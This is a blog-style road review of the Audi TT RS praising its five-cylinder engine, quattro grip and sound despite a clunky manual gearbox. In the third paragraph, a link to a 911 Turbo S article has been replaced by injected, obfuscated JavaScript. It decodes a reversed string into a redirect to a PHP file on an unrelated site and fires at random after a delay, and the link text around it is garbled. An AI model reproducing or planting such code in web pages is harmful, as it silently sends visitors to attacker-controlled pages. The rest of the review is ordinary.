Audi TT RS // Do not underestimate this car

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Every once in a while it’s nice to get behind the wheel of a car that makes you sit up and re-evaluate your preconceived ideas. The car that’s done that most recently to me is the Audi TT RS.

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I reviewed the TT RS in my previous life and came to the conclusion that the car was pretty good, but that you’d be better of with a Boxster or a Cayman. Now, having spent some more time with the car, I’m not sure I agree.

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You see, as great as those Porsches are – and believe me, they are absolutely cracking cars to drive – they’re always going to fester at the bottom rung of the Porsche family. Maybe I’ve been spoilt recently with the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20102893/porsche-911-turbo-s-up-jebel-hafeet/”>911 Turbo S, but deep down I reckon most Boxster and Cayman owners are really pining after a 911.

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I don’t think an owner of a TT RS is going to have the same sort of problem, always looking at any R8 they encounter on the road with some serious jealousy. Audi’s range is so vast nowadays that there’s very little crossover between the cars – even though on first glance they look like they are all stepping on each other’s toes. But when you take a step back you realise that the four-ringed uber company is just trying to offer up the greatest possible number of choices.

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But anyway, back to the TT RS. Whereas a comparatively priced Boxster is going to sit at the bottom of the Porsche ladder, the RS sits at the very top of the TTs. And even with its big spoiler, pumped arches and monster alloys, will be overlooked by most people as just another TT.

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Well, more fool them, as the RS is an absolute beast of a machine.

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Without a doubt, the thing that makes the TT RS is its engine. It’s a 2.5-litre five-cylinder, or to put it plainly it’s half a Gallardo lump. Oh, plus it has a ruddy big turbo on it. Headline power is 335bhp, torque is 332lb ft and the whole package weighs in at 1450kg.

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This thing is rapid – 0-100kph in 4.6secs and a top speed of 280kph. Proper figures for a proper car. It’s also a car that absolutely has to be driven properly – not least because it comes with a six-speed manual gearbox. Some form of  flappy-paddle gearbox is on its way, but if its anything like the horrible thing that the R8 is lumbered with, you’re better off sticking to crunching through the gears yourself.

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And crunch those gears you will – or at least I did. Shamefully, I spend far too little time driving cars with proper gearboxes – automatics and dual-clutches are the way the world is going, especially in our particularly lazy corner. As much as I would quite happily run around in a manual car here, Land Rover don’t make a manual LR2 with a petrol engine. And yes, I probably should be driving something smokey like Mr Phil does, but the finances aren’t quite there yet at the moment. Give me a couple of years…

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Anyway, even once I got used to having three pedals under my feet again, I still found the TT RS to be a little clunky. It’s down to the fact that the six speeder in the RS usually serves its time in a VW van, so it’s a bit loose and baggy compared to what you might expect from Audi. It’s not perfect, but it was the only option available.

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Still, learn to work around the grumbles from the box and you’re left with a car that’s much better than you would first expect.

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There’s tonnes of grip on offer from the quattro four-wheel drive setup and you can really lean on the front end to pull you through a series of complex curves. There’s a bit of initial understeer to drive around, and you have to be a little careful not to lift mid-corner as the quattro system has a habit of flinging you into snap oversteer. Once you get into the groove, it’s mega fun.

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It also sounds rather epic. Five-pot engines have a sound to them that’s very distinct from a V6 or a blown four. Unsuspecting bystanders will be very surprised to find that such a noise is emanating from a production TT. With a freer flowing aftermarket box on there, there is no doubt that it would be even more muscular.

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Naturally, the car is finished with top-notch quality and the sports seats are beautiful and extreme in equal measure. Another minor plus point for the TT over a Boxster or Cayman is the fact that there are two seats in the back.

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Sure, they’re not exactly usable for anyone who actually has legs that extend past the knee – but they provide extra carrying space for odds and sods, or an emergency jump seat for someone who is in dire need for a lift. The TT also has a reasonably useful boot if such things are of concern to you.

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Do not discount this car as just a flashy model to sit at the top of the TT line-up. That RS badge certainly gives the car more standing and gravitas than you would expect from ever-sensible Audi. In fact, I’d go as far as to say that the TT RS is Audi’s response to the Nissan GT-R – albeit without the shedload of electronics controlling the fun. Colour me impressed.